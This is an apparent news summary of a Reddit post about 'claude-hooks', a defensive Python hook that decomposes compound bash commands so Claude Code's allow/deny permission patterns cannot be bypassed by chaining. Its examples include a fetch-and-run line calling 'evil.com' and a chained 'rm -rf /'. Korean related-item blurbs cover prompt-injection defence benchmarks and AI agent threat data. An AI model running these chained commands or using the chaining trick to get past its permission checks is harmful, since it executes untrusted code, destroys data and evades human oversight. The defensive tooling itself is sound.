Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass

Security Gap in Claude Code's Permission System
Claude Code's permission system has a vulnerability where compound bash commands can bypass allow/deny patterns. When you allow a command like Bash(git status:*), Claude Code matches the entire command string against that pattern. This means a compound command like git status && curl -s http://evil.com | sh would match git status* and get auto-approved, even though it chains in curl and sh commands.
The Solution: claude-hooks
The fix is a single Python script called claude-hooks that runs as a PreToolUse hook. It performs several key functions:
- Decomposes compound commands by splitting on
&&,||,;,|, newlines, and extracts$()and backtick subshell contents recursively - Normalizes each sub-command by stripping env var prefixes, I/O redirections, heredoc bodies, and shell keywords
- Checks each sub-command individually against your existing
permissions.allowandpermissions.denypatterns - Deny wins — if any sub-command matches a deny pattern, the whole command is denied
- All must allow — auto-approve only happens when every sub-command matches an allow pattern
- Falls through gracefully — if any sub-command is unknown, you still get the normal permission prompt
Setup Instructions
Installation takes about 30 seconds:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyAdd to ~/.claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}The tool has no dependencies beyond Python 3 and requires zero configuration — it reads your existing permission patterns.
Example Behavior
git status: Allowed both with and without hookgit add . && git commit -m "msg": Allowed both with and without hook (both matchgit *)git status && rm -rf /: Allowed without hook, prompt shown with hook (rm -rf /has no allow)`npm test | tee output.log`: AllowedFOO=bar git push: Might not match without hook, allowed with hook (env var stripped)
The repository is available at https://github.com/liberzon/claude-hooks under MIT license.
📖 Read the full source: r/ClaudeAI
👀 See Also

구분자 방어, 제미나 4의 프롬프트 인젝션 방어율 21%→100%로 향상 (6100+ 테스트 벤치마크)
벤치마크는 7가지 공격 유형(6100개 이상의 테스트)에 대해 15개 모델을 테스트했으며, 신뢰할 수 없는 콘텐츠 주변에 랜덤 구분 기호를 사용했습니다. Gemma 4 E4B는 구분 기호와 엄격한 프롬프트를 통해 방어율이 21.6%에서 100%로 향상되었습니다.

mcp-scan: MCP 서버 구성 보안 스캐너
mcp-scan은 구성 파일의 비밀 정보, 패키지의 알려진 취약점, 의심스러운 권한 패턴, 데이터 유출 경로, 도구 중독 공격을 포함한 보안 문제에 대해 MCP 서버 구성을 검사합니다. Claude Desktop, Cursor, VS Code, Windsurf 및 기타 6개의 AI 클라이언트에 대한 구성을 자동으로 감지합니다.

91,000건의 AI 에이전트 상호작용에서 수집된 위협 데이터: 도구 남용 6.4% 증가, 새로운 멀티모달 공격 등장
2026년 2월 91,284건의 AI 에이전트 상호작용 분석에 따르면 도구/명령어 남용이 6.4% 증가하여 14.5%에 달했으며, 도구 체인 에스컬레이션이 주요 패턴으로 나타났습니다. RAG 중독은 메타데이터 공격(12.0%)으로 전환되었고, 이미지/PDF를 통한 멀티모달 인젝션이 2.3%로 새롭게 등장했습니다.
Google 위협 인텔리전스 그룹, 2FA를 우회한 첫 AI 개발 제로데이 익스플로잇 보고
Google 위협 인텔리전스 그룹(GTIG)이 인기 있는 오픈소스 웹 기반 시스템 관리 도구에서 2FA를 우회하는 최초의 완전 AI 개발 제로데이 익스플로잇을 비롯해 스스로 변형하는 멀웨어와 Gemini 기반 백도어를 발견했습니다.